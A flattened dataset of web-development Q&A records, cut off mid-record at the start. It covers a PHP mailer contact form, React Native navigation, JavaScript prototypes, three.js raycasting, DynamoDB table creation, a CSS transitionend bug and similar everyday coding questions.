] , 'agent ' = > $ _SERVER [ 'HTTP_USER_AGENT ' ] , ) ; // CAPTCHAfunction isValid ( ) { try { $ url = 'https : //www.google.com/recaptcha/api/siteverify ' ; $ data = [ 'secret ' = > '6LtQ6_y ' , 'response ' = > $ _POST [ ' g-recaptcha-response ' ] , 'remoteip ' = > $ _SERVER [ 'REMOTE_ADDR ' ] ] ; $ options = [ 'http ' = > [ 'header ' = > `` Content-type : application/x-www-form-urlencoded\r\n '' , 'method ' = > 'POST ' , 'content ' = > http_build_query ( $ data ) ] ] ; $ context = stream_context_create ( $ options ) ; $ result = file_get_contents ( $ url , false , $ context ) ; return json_decode ( $ result ) - > success ; } catch ( Exception $ e ) { return null ; } } // RE-VALIDATION ( first level done via bootsrap validator js ) function died ( $ error ) { echo `` We are very sorry , but there were error ( s ) found with the form you submitted . `` ; echo `` These errors appear below. < br / > < br / > '' ; echo $ error . `` < br / > < br / > '' ; echo `` Please go back and fix these errors. < br / > < br / > '' ; die ( ) ; } // validation expected data existsif ( ! isset ( $ _POST [ 'first_name ' ] ) || ! isset ( $ _POST [ 'last_name ' ] ) || ! isset ( $ _POST [ 'email ' ] ) || ! isset ( $ _POST [ 'message ' ] ) ) { died ( '*** Fields not filled-in *** ' ) ; } //Enable SMTP debugging . $ mail- > SMTPDebug = false ; //Set PHPMailer to use SMTP. $ mail- > isSMTP ( ) ; //Set SMTP host name $ mail- > Host = `` smtp.sendgrid.net '' ; //Set this to true if SMTP host requires authentication to send email $ mail- > SMTPAuth = true ; //Provide username and password $ mail- > Username = `` fdsfs '' ; $ mail- > Password = `` @ pz7HQ '' ; //If SMTP requires TLS encryption then set it $ mail- > SMTPSecure = `` tls '' ; //Set TCP port to connect to $ mail- > Port = 587 ; $ mail- > FromName = $ _POST [ 'first_name ' ] . `` `` . $ _POST [ 'last_name ' ] ; //To be anti-spam compliant/* $ mail- > From = $ _POST [ 'email ' ] ; */ $ mail- > From = ( 'ghdsfds @ gmail.com ' ) ; $ mail- > addReplyTo ( $ _POST [ 'email ' ] ) ; $ mail- > addAddress ( `` ghdsfds @ outlook.com '' ) ; //CC and BCC $ mail- > addCC ( `` '' ) ; $ mail- > addBCC ( `` '' ) ; $ mail- > isHTML ( true ) ; $ mail- > Subject = `` Nouveau message depuis XYZ '' ; $ body = file_get_contents ( 'emailtemplate.phtml ' ) ; if ( isset ( $ email_vars ) ) { foreach ( $ email_vars as $ k= > $ v ) { $ body = str_replace ( ' { '.strtoupper ( $ k ) . ' } ' , $ v , $ body ) ; } } $ mail- > MsgHTML ( $ body ) ; $ response = array ( ) ; if ( isValid ( ) ) { // send mail if ( ! $ mail- > send ( ) ) { $ response = array ( 'message'= > '' Mailer Error : `` . $ mail- > ErrorInfo , 'status'= > 0 ) ; } else { $ response = array ( 'message'= > '' Message has been sent successfully '' , 'status'= > 1 ) ; } } else { // handle error $ response = array ( 'message ' = > 'Captcha was not valid ' ) ; } /* send content type header */header ( 'Content-Type : application/json ' ) ; /* send response as json */echo json_encode ( $ response ) ; ? >",Why does my submit button gets re-enabled before all fields are filled in ? "JS : I have a div with a lot of text , I want that all the lanes are visible when clicking on the arrow : CodePenRight now , some lines are skipped and therefore unreadable.Is it possible to reduce the scroll amount per click ? Example works only in chrome at the moment ( will fix for firefox later ) .Css only if possible , and no jquery , please . .text { height:15px ; width:200px ; overflow : auto ; } < div class= '' text '' > The querySelector ( ) method returns the first element that matches a specified CSS selector ( s ) in the document.Note : The querySelector ( ) method only returns the first element that matches the specified selectors . To return all the matches , use the querySelectorAll ( ) method instead.If the selector matches an ID in document that is used several times ( Note that an `` id '' should be unique within a page and should not be used more than once ) , it returns the first matching element.For more information about CSS Selectors , visit our CSS Selectors Tutorial and our CSS Selectors Reference. < div > .text { height:15px ; width:200px ; overflow : auto ; }",How to make vertical text scroll stop at each line "JS : Currently I have both Push and Pop set up using NavigationStateUtils using React Native/Redux . But when a button that triggers the Push action is pressed more than once , I get the error : should not push * route with duplicated key and * representing route.key or this.props.navKey . What may be the cause of the error ? How should I go about creating a unique key for each individual route using NavigationStateUtils ? This is my set up -Redux : My reducer ( navReducer.js ) : And these methods handle push and pop and how navigation bar back ( pop ) button is set up : And called by components like so : EDIT console logEDIT 2 ContinuationEDIT 3 Slide Menu function mapStateToProps ( state ) { return { navigation : state.navReducer , } } export default connect ( mapStateToProps , { pushRoute : ( route ) = > push ( route ) , popRoute : ( ) = > pop ( ) , } ) ( NavigationRoot ) const initialState = { index : 0 , key : 'root ' , routes : [ { key : 'login ' , title : 'Login ' , component : Login , direction : 'horizontal ' , } ] } function navigationState ( state = initialState , action ) { switch ( action.type ) { case PUSH_ROUTE : if ( state.routes [ state.index ] .key === ( action.route & & action.route.key ) ) return state return NavigationStateUtils.push ( state , action.route ) case POP_ROUTE : if ( state.index === 0 || state.routes.length === 1 ) return state return NavigationStateUtils.pop ( state ) default : return state } } export default navigationState _renderScene ( props ) { const { route } = props.scene return ( < route.component _handleNavigate= { this._handleNavigate.bind ( this ) } { ... route.passProps } actions= { this.props } / > ) } _handleBackAction ( ) { if ( this.props.navigation.index === 0 ) { return false } this.props.popRoute ( ) return true } _handleNavigate ( action ) { switch ( action & & action.type ) { case 'push ' : this.props.pushRoute ( action.route ) return true case 'back ' : case 'pop ' : return this._handleBackAction ( ) default : return false } } renderOverlay = ( sceneProps ) = > { if ( 0 < sceneProps.scene.index ) { return ( < NavigationHeader { ... sceneProps } renderLeftComponent= { ( ) = > { switch ( sceneProps.scene.route.title ) { case 'Home ' : return ( < TouchableHighlight onPress= { ( ) = > this._handleBackAction ( ) } > < Text } > X < /Text > < /TouchableHighlight > ) } } } / > ) } } render ( ) { return ( < NavigationCardStack direction= { this.props.navigation.routes [ this.props.navigation.index ] .direction } navigationState= { this.props.navigation } onNavigate= { this._handleNavigate.bind ( this ) } renderScene= { this._renderScene } renderOverlay= { this.renderOverlay } / > ) } const route = { home : { type : 'push ' , route : { key : 'home ' , title : 'Home ' , component : Home , direction : 'vertical ' , } } }",How to create unique key for NavigationStateUtils using push route in React Native/Redux ? "JS : I have XML like this : Which I need to use in HTML markup : What is the `` right '' way to do this for the widest array of browsers ? Can this be done reliably with a XSLT transformation ? Is it better to use a regex ( unlikely ) or do I have to parse out the xml , and for each < Artist > tag read each attribute and do document.createElement and setAttribute manually ? The < Artist > tags are in a parent node , there 's many of them . Is there a best practice for this ? < Artist name= '' Syd Mead '' id= '' 3412 '' ntrack= '' 28 '' pop= '' 8 '' / > < a href= '' # '' data-name= '' Syd Mead '' data-id= '' 3412 '' data-ntrack= '' 28 '' data-pop= '' 8 '' class= '' pop-8 '' > < span > Syd Mead < /span > < /a >",Transformation of XML into HTML : best practice ? "JS : perfWhy do we build a prototype inheritance chain rather then using object composition . Looking up through the prototype for each step in the chain get 's expensive.Here is some dummy example code : uses pd because property descriptors are verbose as hell.o2.foo is faster then o1.foo since it only goes up two prototype chain rather then three.Since travelling up the prototype chain is expensive why do we construct one instead of using object composition ? Another better example would be : I do not see any code merging prototype objects for efficiency . I see a lot of code building chained prototypes . Why is the latter more popular ? The only reason I can think of is using Object.isPrototypeOf to test for individual prototypes in your chain.Apart from isPrototypeOf are there clear advantages to using inheritance over composition ? var lower = { `` foo '' : `` bar '' } ; var upper = { `` bar '' : `` foo '' } ; var chained = Object.create ( lower , pd ( upper ) ) ; var chainedPrototype = Object.create ( chained ) ; var combinedPrototype = Object.create ( pd.merge ( lower , upper ) ) ; var o1 = Object.create ( chainedPrototypes ) ; var o2 = Object.create ( combinedPrototypes ) ; var Element = { // Element methods } var Node = { // Node methods } var setUpChain = Object.create ( Element , pd ( Node ) ) ; var chained = Object.create ( setUpChain ) ; var combined = Object.create ( pd.merge ( Node , Element ) ) ; document.createChainedElement = function ( ) { return Object.create ( chained ) ; } document.createCombinedElement = function ( ) { return Object.create ( combined ) ; }",Why use chained prototype inheritance in javascript ? "JS : in my project I have a player walk around a globe . The globe is not just a sphere , it has mountains and valleys , so I need the players z position to change . For this I 'm raycasting a single ray from player 's position against a single object ( the globe ) and I get the point they intersect and change players position accordingly . I 'm only raycasting when the player moves , not on every frame.For a complex object it takes forever . It takes ~200ms for an object with ~1m polys ( faces ) ( 1024x512 segments sphere ) . Does raycasting cast against every single face ? Is there a traditional fast way to achieve this in THREE , like some acceleration structure ( octree ? bvh ? -- tbh from my google searches I have n't seem to find such a thing included in THREE ) or some other thinking-out-of-the-box ( no ray casting ) method ? Thank you in advance var dir = g_Game.earthPosition.clone ( ) ; var startPoint = g_Game.cubePlayer.position.clone ( ) ; var directionVector = dir.sub ( startPoint.multiplyScalar ( 10 ) ) ; g_Game.raycaster.set ( startPoint , directionVector.clone ( ) .normalize ( ) ) ; var t1 = new Date ( ) .getTime ( ) ; var rayIntersects = g_Game.raycaster.intersectObject ( g_Game.earth , true ) ; if ( rayIntersects [ 0 ] ) { var dist = rayIntersects [ 0 ] .point.distanceTo ( g_Game.earthPosition ) ; dist = Math.round ( dist * 100 + Number.EPSILON ) / 100 ; g_Player.DistanceFromCenter = dist + 5 ; } var t2 = new Date ( ) .getTime ( ) ; console.log ( t2-t1 ) ;","THREE.js raycasting very slow against single > 500k poly ( faces ) object , line intersection with globe" "JS : will return `` Audio is not definied '' I also tried the classic fix : but with no luck . I could add audio playback in some other part of the extension than in main.js , like some content script where it works , but maybe there is a simpler and elegant solution . AudioObj = new Audio ; var audio = require ( `` audio '' ) ;",How to play audio in an extension ? "JS : I 've two node apps/services that are running together , 1. main app2 . second appThe main app is responsible to show all the data from diffrent apps at the end . Now I put some code of the second app in the main app and now its working , but I want it to be decoupled . I mean that the code of the secnod app will not be in the main app ( by somehow to inject it on runtime ) like the second service is registered to the main app in inject the code of it.the code of it is just two modules , is it possible to do it in nodejs ? In the main module I put this code and I want to decouple it by inject it somehow on runtime ? example will be very helpful ... const Socket = require ( 'socket.io-client ' ) ; const client = require ( `` ./config.json '' ) ; module.exports = ( serviceRegistry , wsSocket ) = > { var ws = null ; var consumer = ( ) = > { var registration = serviceRegistry.get ( `` tweets '' ) ; console.log ( `` Service : `` + registration ) ; //Check if service is online if ( registration === null ) { if ( ws ! = null ) { ws.close ( ) ; ws = null ; console.log ( `` Closed websocket '' ) ; } return } var clientName = ` ws : //localhost : $ { registration.port } / ` if ( client.hosted ) { clientName = ` ws : // $ { client.client } / ` ; } //Create a websocket to communicate with the client if ( ws == null ) { console.log ( `` Created '' ) ; ws = Socket ( clientName , { reconnect : false } ) ; ws.on ( 'connect ' , ( ) = > { console.log ( `` second service is connected '' ) ; } ) ; ws.on ( 'tweet ' , function ( data ) { wsSocket.emit ( 'tweet ' , data ) ; } ) ; ws.on ( 'disconnect ' , ( ) = > { console.log ( `` Disconnected from blog-twitter '' ) } ) ; ws.on ( 'error ' , ( err ) = > { console.log ( `` Error connecting socket : `` + err ) ; } ) ; } } //Check service availability setInterval ( consumer , 20 * 1000 ) ; }",How to inject module from different app in Node.js "JS : Why does giving an async function as a callback function for a jQuery deferred.done ( ) not work ? i.e . Why doesnot work , butdoes ? ( Also , note that jqueryObj.click ( asyncFunc ) does work . ) Example : After the title has finished faded in , each item of the list fades in , in order . The fade time is 20000 ms , but the delay between list items is 250 ms ( so the next list item starts fading in while the previous is still ongoing ) .JS : Here is a JSFiddle showing the desired effect . You can try swapping for the commented out line to see nothing happens . The commented out line is how you normally expect functions to work jqueryObj.fadeTo ( `` slow '' , 1 ) .promise ( ) .done ( asyncFunc ) ; jqueryObj.fadeTo ( `` slow '' , 1 ) .promise ( ) .done ( function ( ) { asyncFunc ( ) ; ) ; < h2 > Title < /h2 > < ul > < li > Item < /li > < li > Item < /li > ... < /ul > var title = $ ( `` h2 '' ) , listItems = $ ( `` ul li '' ) ; function wait ( delay ) { return new Promise ( function ( resolve ) { setTimeout ( resolve , delay ) ; } ) ; } async function reveal ( ) { for ( var i = 0 ; i < listItems.length ; i++ ) { $ ( listItems [ i ] ) .fadeTo ( 2000 , 1 ) ; await wait ( 250 ) ; } } title.fadeTo ( 500 , 1 ) //.promise ( ) .done ( reveal ) does n't work ! .promise ( ) .done ( function ( ) { reveal ( ) ; } ) ;",Async callback function in jquery .done ( ) not executing "JS : In a R functon , i used fileName as parameter to read and process the csv data present in that file . I used rook package to integrate R with javascript . In javascript i used the following code to get the file name of the imported file.Because of this method passes only the file name instead of full file path , i wont get the output in R. So what modification i need to do to get the exact output.I am using the following R code : < form id='importPfForm ' > < input type='file ' name='datafile ' size='20 ' > < input type='button ' value='IMPORT ' onclick='importPortfolioFunction ( ) '/ > < /form > function importPortfolioFunction ( arg ) { var f = document.getElementById ( 'importPfForm ' ) ; var fileName= f.datafile.value ; $ .ajax ( { type : `` POST '' , url : 'http : //localhost : '+portNo+'/custom/Ralgotree/hBasedFileImport ? fileName='+fileName , dataType : `` json '' , data : ' { `` method '' : `` hBasedFileImport '' , `` clientId '' : `` 31d0c653-d7e5-44b6-98b5-8c084f99514a '' , `` version '' : 0 } ' , xhrFields : { withCredentials : false } , beforeSend : function ( xhr ) { } , success : function ( data , textStatus , xmLHttpRequest ) { } , error : function ( xhr , ajaxOptions , thrownError ) { } } ) ; } s < - Rhttpd $ new ( ) s $ add ( name= '' Ralgotree '' , app=Rook : :URLMap $ new ( '/hBasedFileImport ' = function ( env ) { req < - Rook : :Request $ new ( env ) params < - Utils $ parse_query ( env $ QUERY_STRING ) ; res < - Rook : :Response $ new ( headers = list ( `` Content-Type '' = '' application/json '' , `` Access-Control-Allow-Origin '' = '' * '' ) ) res $ write ( toJSON ( hBasedFileImport ( toString ( params [ `` fileName '' ] ) ) ) ) res $ finish ( ) } ) ) s $ start ( port = 9000 ) hBasedFileImport < - function ( fileName ) { portData < - read.csv ( fileName , sep= '' \t '' ) -- -- - -- -- - }",passing file name to R from javascript using Rook package "JS : I 'm using the Tablesaw plugin to get responsive tables.At some point I need to include different tables inside different items/slides of a Bootstrap Carousel.On load , the table on the active Item of the Carousel will display correctly ( Tablesaw is initiated properly ) , but once I move to the next slide/item , the tables in there wo n't be properly displayed ( Tablesaw not initiated ) .Tablesaw includes an extra JS file to initiate upon load : This seems to work for the first slide/item but not for the rest.Any clue on why this might be happening ? I 've created a Plunker to illustrate the issue . $ ( function ( ) { $ ( document ) .trigger ( `` enhance.tablesaw '' ) ; } ) ;",Tablesaw not getting triggered inside Bootstrap Carousel "JS : Hi everyone i am facing a weird problem , i am appending my drop downdata from jquery ( fSlect Plugin ) Plugin link it is my select in htmland this is my function for appending data optionswithout refresh of page whenever i try to call Preload7 ( ) function data is not appending to drop down , if i remove fSelect plugin then it will work fine ( and if i Refresh page then it will append data with fSelect also ) i want this without refreshing the page , as you see when first time i load my application data is properly append in option and in fSelect DOM , now when i add another owner it can not append to fSelect DOmas a result only 3 options is displayed in dropdown please tell me how to do this witout refreshing page i am waste my 3 days on it but i am not able to do it ? < select name= '' ownerparm '' class= '' demo '' multiple= '' multiple '' id= '' addownok '' > < /select > function Preload7 ( ) { $ ( `` # addownok '' ) .find ( 'option ' ) .remove ( ) ; console.log ( `` i am called preload7 '' ) ; $ .getJSON ( `` /FrontEnd/resources/getowner '' , function ( jsonData ) { $ .each ( jsonData , function ( i , j ) { $ ( `` # addownok '' ) .append ( $ ( `` < option value= '' +j.societyOwnerId+ '' > < /option > '' ) .html ( j.socityOwnersNames ) ) ; } ) ; $ ( ' # addownok ' ) .fSelect ( ) ; } ) ; }",Data is not appending to Dropdown without page refresh ? "JS : I 'm using primefaces and have a problem executing JavaScript at the end of an ajax call . I add some action to the RequestContext , and it is executed twice ! It is also embedded twice in the XML which I get back from the server - two times the same component and same node.Primefaces Version is 5.3.10Any ideas what is going wrong here ? Thanks . RequestContext.getCurrentInstance ( ) .execute ( `` alert ( ' I 'm here ! ' ) '' ) ;",Primefaces : RequestContext.execute - Javascript called twice "JS : I ca n't seem to find a clear answer on this.If my page looks like this : Will Google index the 'mypets ' data even though it is not displayed in the html at the start ? The real world page declares lots of content in a similar javascript object and displays bits of it in response to user actions ; I want to know if I have to do something more in order to get the page to index based on all the content , not just what is visible in html before the javascript stuff runs . < html > < head > < script > var mypets = [ { 'type ' : 'dog ' , 'name ' : 'rover ' } , { 'type ' : 'cat ' , 'name ' : 'kitty ' } ] ; $ ( ' # btnShowEm ' ) .click ( function ( ) { $ ( ' # emptyAtFirst ' ) .text ( mypets [ 0 ] .name ) ; } ) ; < /script > < /head > < body > < div id='emptyAtFirst ' > < /div > < button id='btnShowEm '' > ShowEm < /button > < /body > < html >",Will google index content declared in an inline javascript variable ? "JS : I stumbled on generator functions on MDN and what puzzles me is the following example : What I do n't understand is why the yield statement which is the argument of console.log returns the parameter passed to the .next ( ) method of the generator . Is this happening because an empty yield must return the value of the first parameter of the .next ( ) method ? I have also tried some more examples , which seem to confirm the above statement like : Also is there a way to access the further parameters of the .next ( ) method inside the body of the generator function ? Another thing I noticed is , while the yield statement is returning these values to the console.log they are actually not yielded as the output of the generator . I must say I find it very confusing . function* logGenerator ( ) { console.log ( yield ) ; console.log ( yield ) ; console.log ( yield ) ; } var gen = logGenerator ( ) ; // the first call of next executes from the start of the function// until the first yield statementgen.next ( ) ; gen.next ( 'pretzel ' ) ; // pretzelgen.next ( 'california ' ) ; // californiagen.next ( 'mayonnaise ' ) ; // mayonnaise gen.next ( 1,2,3 ) ; // the printed value is 1 , the 2 and 3 are ignored// and the actual yielded value is undefined",Why is yield statement of a javascript generator function returning parameters of .next ( ) ? "JS : I did following stepsWhen i want to import momentjs i get the following error : moment version : ^2.22.1I use webpack 4.Trying to import like this also failed with the same error : Can somebody help me ? I really dont know how to solve this.My Webpack Config : npm install moment -- saveimport moment from `` moment '' Uncaught TypeError : Can not assign to read only property 'clone ' of object ' # < Moment > ' ( moment.js:3837 ) import moment from `` moment/src/moment '' const path = require ( 'path ' ) const BrowserSyncPlugin = require ( `` browser-sync-webpack-plugin '' ) var webpack = require ( 'webpack ' ) ; const BundleAnalyzerPlugin = require ( 'webpack-bundle-analyzer ' ) .BundleAnalyzerPlugin ; module.exports = { entry : './src/js/index.js ' , output : { path : path.resolve ( __dirname , 'static ' ) , filename : 'monitor-bundle.js ' } , devtool : 'source-map ' , mode : 'development ' , module : { rules : [ { test : /\.js $ / , exclude : /node_modules/ , use : { loader : `` babel-loader '' } } , { test : /\.css $ / , } ] } , watch : true , plugins : [ new BrowserSyncPlugin ( { watchOptions : { poll : true } , host : `` localhost '' , port : `` 1337 '' , proxy : `` http : //localhost:80/ '' , files : [ `` ./static/monitor-bundle.js '' ] , open : true , reloadDelay : 0 , reloadDebounce : 0 , browser : [ `` chromium '' , `` google chrome '' ] } ) , new BundleAnalyzerPlugin ( ) , ] , } ;",import momentjs with es6 modules and webpack Can not assign to read only property "JS : I have a Google Chrome Packaged App and uses a webview tag to load a remote page ( that I do n't control ) . That remote page is trying to request notification privileges and that permissions request does n't seem to be bubbling up through to the wrapping Chrome App.I 'm using the following ( overly permissive ) code to allow all permission requests from the webview ( and echo all console output ) : I ca n't find confirmation online , but I 'm thinking notification permissions are not yet allowed in webviews . If we assume that is the case , are there any other ways to potentially force notification permission for the webview'ed site that wo n't be blocked by CORS ? webview.addEventListener ( 'permissionrequest ' , function ( e ) { console.log ( `` webview requested `` + e.permission ) ; e.request.allow ( ) ; } ) ; webview.addEventListener ( 'consolemessage ' , function ( e ) { console.log ( 'From webview : ' , e.message ) ; } ) ;",Bubbling Up Notifications Through Google Chrome App Webview "JS : I have an javascript object named concept : I am trying to initiate it in jQuery document.ready : It returns an error : Uncaught TypeError : concept is not a constructorIf I move the object inside the document.ready , it is working.I am still new on javascript , as far as I understood document.ready is run when DOM is completed . I do n't understand why it can not access the object which is defined out of the document.ready scope.Here it is the fiddle : https : //jsfiddle.net/49rkcaud/1/ function concept ( ) { this.ConceptId = 0 ; this.Name = `` '' ; } $ ( document ) .ready ( function ( ) { var concept = new concept ; } ) ; $ ( document ) .ready ( function ( ) { function concept ( ) { this.ConceptId = 0 ; this.Name = `` '' ; } var concept = new concept ; } ) ;",Can not init an object in jquery document.ready "JS : Playing with HTML5 canvas and JS , I found a strange behaviour when a canvas is added to the HTML body directly versus creating a canvas using JS.Please see the code & ouput hereI expected the line ( stroke ) to be a consistent diagonal across the canvas but alas ! . Please help me know where am I going wrong ! Note : I forgot to mention , I tried this on Chrome only not sure if the behaviour is consistent for other browsers . < ! DOCTYPE html > < html > < head > < /head > < body > < canvas id= '' test '' width= '' 200 '' height= '' 200 '' style= '' border:1px solid # 000000 ; '' > < /canvas > < script > var c=document.getElementById ( `` test '' ) ; ctx=c.getContext ( `` 2d '' ) ; ctx.fillStyle = `` # 9ea7b8 '' ; ctx.fill ( ) ; ctx.moveTo ( 0,0 ) ; ctx.lineTo ( 200,200 ) ; ctx.stroke ( ) ; // creating canvas using JS c = document.createElement ( `` canvas '' ) ; c.id= '' MyCanvas '' ; c.style.width= '' 200px '' ; c.style.height= '' 200px '' ; c.style.border= '' 1px solid # 000000 '' ; ctx=c.getContext ( `` 2d '' ) ; ctx.fillStyle = `` # 9ea7b8 '' ; ctx.fill ( ) ; ctx.moveTo ( 0,0 ) ; ctx.lineTo ( 200,200 ) ; ctx.stroke ( ) ; document.body.appendChild ( c ) ; < /script > < /body > < /html >",HTML canvas coordinates are different when created using JS versus embed in HTML "JS : How can I create a DynamoDB table using the Node SDK and specify `` on-demand '' as the ProvisionedThroughput ? I get this error when I leave out the ProvisionedThroughput option : Here is my code that attempts to create the table : ValidationException : One or more parameter values were invalid : ReadCapacityUnits and WriteCapacityUnits must both be specified when BillingMode is PROVISIONED at Request.extractError ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/protocol/json.js:51:27 ) at Request.callListeners ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/sequential_executor.js:106:20 ) at Request.emit ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/sequential_executor.js:78:10 ) at Request.emit ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:683:14 ) at Request.transition ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:22:10 ) at AcceptorStateMachine.runTo ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/state_machine.js:14:12 ) at /Users/james/projects/ears/server/node_modules/aws-sdk/lib/state_machine.js:26:10 at Request. < anonymous > ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:38:9 ) at Request. < anonymous > ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:685:12 ) at Request.callListeners ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/sequential_executor.js:116:18 ) at Request.emit ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/sequential_executor.js:78:10 ) at Request.emit ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:683:14 ) at Request.transition ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:22:10 ) at AcceptorStateMachine.runTo ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/state_machine.js:14:12 ) at /Users/james/projects/ears/server/node_modules/aws-sdk/lib/state_machine.js:26:10 at Request. < anonymous > ( /Users/james/projects/ears/server/node_modules/aws-sdk/lib/request.js:38:9 ) await dynamodb .createTable ( { TableName : ` $ { studyName } StudyCodeDB ` , AttributeDefinitions : [ { AttributeName : 'studyCode ' , AttributeType : 'S ' , } , { AttributeName : 'studyCodeCreationDate ' , AttributeType : ' N ' , } , ] , KeySchema : [ { AttributeName : 'studyCode ' , KeyType : 'HASH ' , } , { AttributeName : 'studyCodeCreationDate ' , KeyType : 'RANGE ' , } , ] , } ) .promise ( ) ;",AWS dynamodb create table with `` on-demand '' ProvisionedThroughput "JS : I have an express app with a few endpoints and am currently testing it using mocha , chai , and chai-http . This was working fine until I added logic for a pooled mongo connection , and started building endpoints that depended on a DB connection . Basically , before I import my API routes and start the app , I want to make sure I 'm connected to mongo . My problem is that I 'm having trouble understanding how I can export my app for chai-http but also make sure there is a DB connection before testing any endpoints.Here , I am connecting to mongo , then in a callback applying my API and starting the app . The problem with this example is that my tests will start before a connection to the database is made , and before any endpoints are defined . I could move app.listen and api ( app ) outside of the MongoPool.connect ( ) callback , but then I still have the problem of there being no DB connection when tests are running , so my endpoints will fail.server.jsHow can I test my endpoints using chai-http while making sure there is a pooled connection before tests are actually executed ? It feels dirty writing my application in a way that conforms to the tests I 'm using . Is this a design problem with my pool implementation ? Is there a better way to test my endpoints with chai-http ? Here is the test I 'm runningtest.jsAnd this is the endpoint I 'm testing/api/forecast.jsThank you for any help import express from 'express ' ; import api from './api ' ; import MongoPool from './lib/MongoPool ' ; let app = express ( ) ; let port = process.env.PORT || 3000 ; MongoPool.connect ( ( err , success ) = > { if ( err ) throw err ; if ( success ) { console.log ( `` Connected to db . '' ) // apply express router endpoints to app api ( app ) ; app.listen ( port , ( ) = > { console.log ( ` App listening on port $ { port } ` ) ; } ) } else { throw `` Couldnt connect to db '' ; } } ) export default app ; let chai = require ( 'chai ' ) ; let chaiHttp = require ( 'chai-http ' ) ; let server = require ( '../server ' ) .default ; ; let should = chai.should ( ) ; chai.use ( chaiHttp ) ; //Our parent blockdescribe ( 'Forecast ' , ( ) = > { /* * Test the /GET route */ describe ( '/GET forecast ' , ( ) = > { it ( 'it should GET the forecast ' , ( done ) = > { chai.request ( server ) .get ( '/api/forecast ? type=grid & lat=39.2667 & long=-81.5615 ' ) .end ( ( err , res ) = > { res.should.have.status ( 200 ) ; done ( ) ; } ) ; } ) ; } ) ; } ) ; import express from 'express ' ; import MongoPool from '../lib/MongoPool ' ; let router = express.Router ( ) ; let db = MongoPool.db ( ) ; router.get ( '/forecast ' , ( req , res ) = > { // do something with DB here } ) export default router ;",How to export node express app for chai-http "JS : I recently have been learning more JavaScript as I am going to be using it a lot for an upcoming internship . The company recommended many different resources for me to look at , but a friend of mine also suggested this website : https : //javascript30.com/I decided to give it a try and started yesterday on the first project which was a JavaScript drumkit.So the overall project was n't hard , but I noticed a little bug that was happening . So the project attaches a 'keydown ' event listener to several different HTML elements that trigger when either ASDFGHJKJL are pressed . In addition to playing a sound , the listener also attaches a class to the element that adds a little effect to the key being pressed.To remove the class , we attached a transitionend listener to the elements . So when the CSS property finishes the transition after the key is pressed , the class is then removed and the graphic goes back to normal in the browser . Now if you press the keys slowly , it works perfectly fine . But I noticed that if you were to hold a key down for a second or two , it appears as though the class that gets added is never removed and the graphic is permanent . I then checked the console and noticed that the transitionend event never fires once it gets stuck like that.Here is the code from the finished file.And this is how we attached the transitionend listener , not sure if this would have anything to do with itSo we put in the if loop in the removeTransition function so that it does n't remove the class for each property that is transitioning , but I noticed that when you remove the if loop , the page works perfectly . So I am not entirely sure what is going on with the transitionend event , and why it just stops firing entirely once it gets stuck like that . And also , why it works when the if loop is removed . Maybe it has more chances to remove the class when it loops through all of the properties ? No clue . Was wondering if anyone here might know what is going on . EDIT : I altered the playSound function a little bit to try and get to the bottom of this . So I added an if statement that checks if the element already contains the `` playing '' class once it gets stuck . I also added a classList.remove call to try and get rid of it in that same branch . What I found was once it gets stuck , and I press the key again , it branches off into that if statement and prints the console message , but STILL will not remove the `` playing '' class . function removeTransition ( e ) { if ( e.propertyName ! == 'transform ' ) return ; e.target.classList.remove ( 'playing ' ) ; } function playSound ( e ) { const audio = document.querySelector ( ` audio [ data-key= '' $ { e.keyCode } '' ] ` ) ; const key = document.querySelector ( ` div [ data-key= '' $ { e.keyCode } '' ] ` ) ; if ( ! audio ) return ; key.classList.add ( 'playing ' ) ; audio.currentTime = 0 ; audio.play ( ) ; } const keys = Array.from ( document.querySelectorAll ( '.key ' ) ) ; keys.forEach ( key = > key.addEventListener ( 'transitionend ' , removeTransition ) ) ; function playSound ( e ) { const audio = document.querySelector ( ` audio [ data-key= '' $ { e.keyCode } '' ] ` ) ; const key = document.querySelector ( ` .key [ data-key= '' $ { e.keyCode } '' ] ` ) ; if ( ! audio ) { return ; } if ( key.classList.contains ( `` playing '' ) ) { console.log ( `` True '' ) ; key.classList.remove ( `` playing '' ) ; } audio.currentTime = 0 ; audio.play ( ) ; console.log ( `` adding '' ) ; key.classList.add ( `` playing '' ) ; }",Bug with transitionend event not correctly removing a CSS class "JS : I am trying to alert the correct css selector and xpath on right click on a dom element . I can show a menu on right click but I 'm blocked getting the css selector and xpath value . Input for the code will be any website source code ( right click on site , view source ) or sample html code which has some classnames . I have a reference to pull unique css selector hereAny pointers on how to get unique css selector and xpath on right click on any dom element ? My Fiddle is hereJquery code < h2 > Copy paste source code < /h2 > < textarea id= '' txtSrcCode '' > < /textarea > < input type= '' button '' value= '' Load Page '' id= '' btnLoadPage '' / > < div id= '' divToBindSrcCode '' > < /div > < ul class='custom-menu ' > < li data-action= '' first '' > First thing < /li > < li data-action= '' second '' > Second thing < /li > < li data-action= '' third '' > Third thing < /li > < /ul > $ ( ' # btnLoadPage ' ) .click ( function ( ) { $ ( ' # divToBindSrcCode ' ) .html ( $ ( ' # txtSrcCode ' ) .val ( ) ) ; // Laod dom on to the page } ) ; $ ( document ) .bind ( `` contextmenu '' , function ( event ) { // Avoid the real one event.preventDefault ( ) ; // Show contextmenu $ ( `` .custom-menu '' ) .finish ( ) .toggle ( 100 ) . // In the right position ( the mouse ) css ( { top : event.pageY + `` px '' , left : event.pageX + `` px '' } ) ; } ) ; // If the document is clicked somewhere $ ( document ) .bind ( `` mousedown '' , function ( e ) { // If the clicked element is not the menu if ( ! $ ( e.target ) .parents ( `` .custom-menu '' ) .length > 0 ) { // Hide it $ ( `` .custom-menu '' ) .hide ( 100 ) ; } } ) ; // If the menu element is clicked $ ( `` .custom-menu li '' ) .click ( function ( ) { var kk = $ ( this ) .val ( ) ; // This is the triggered action name switch ( $ ( this ) .attr ( `` data-action '' ) ) { // A case for each 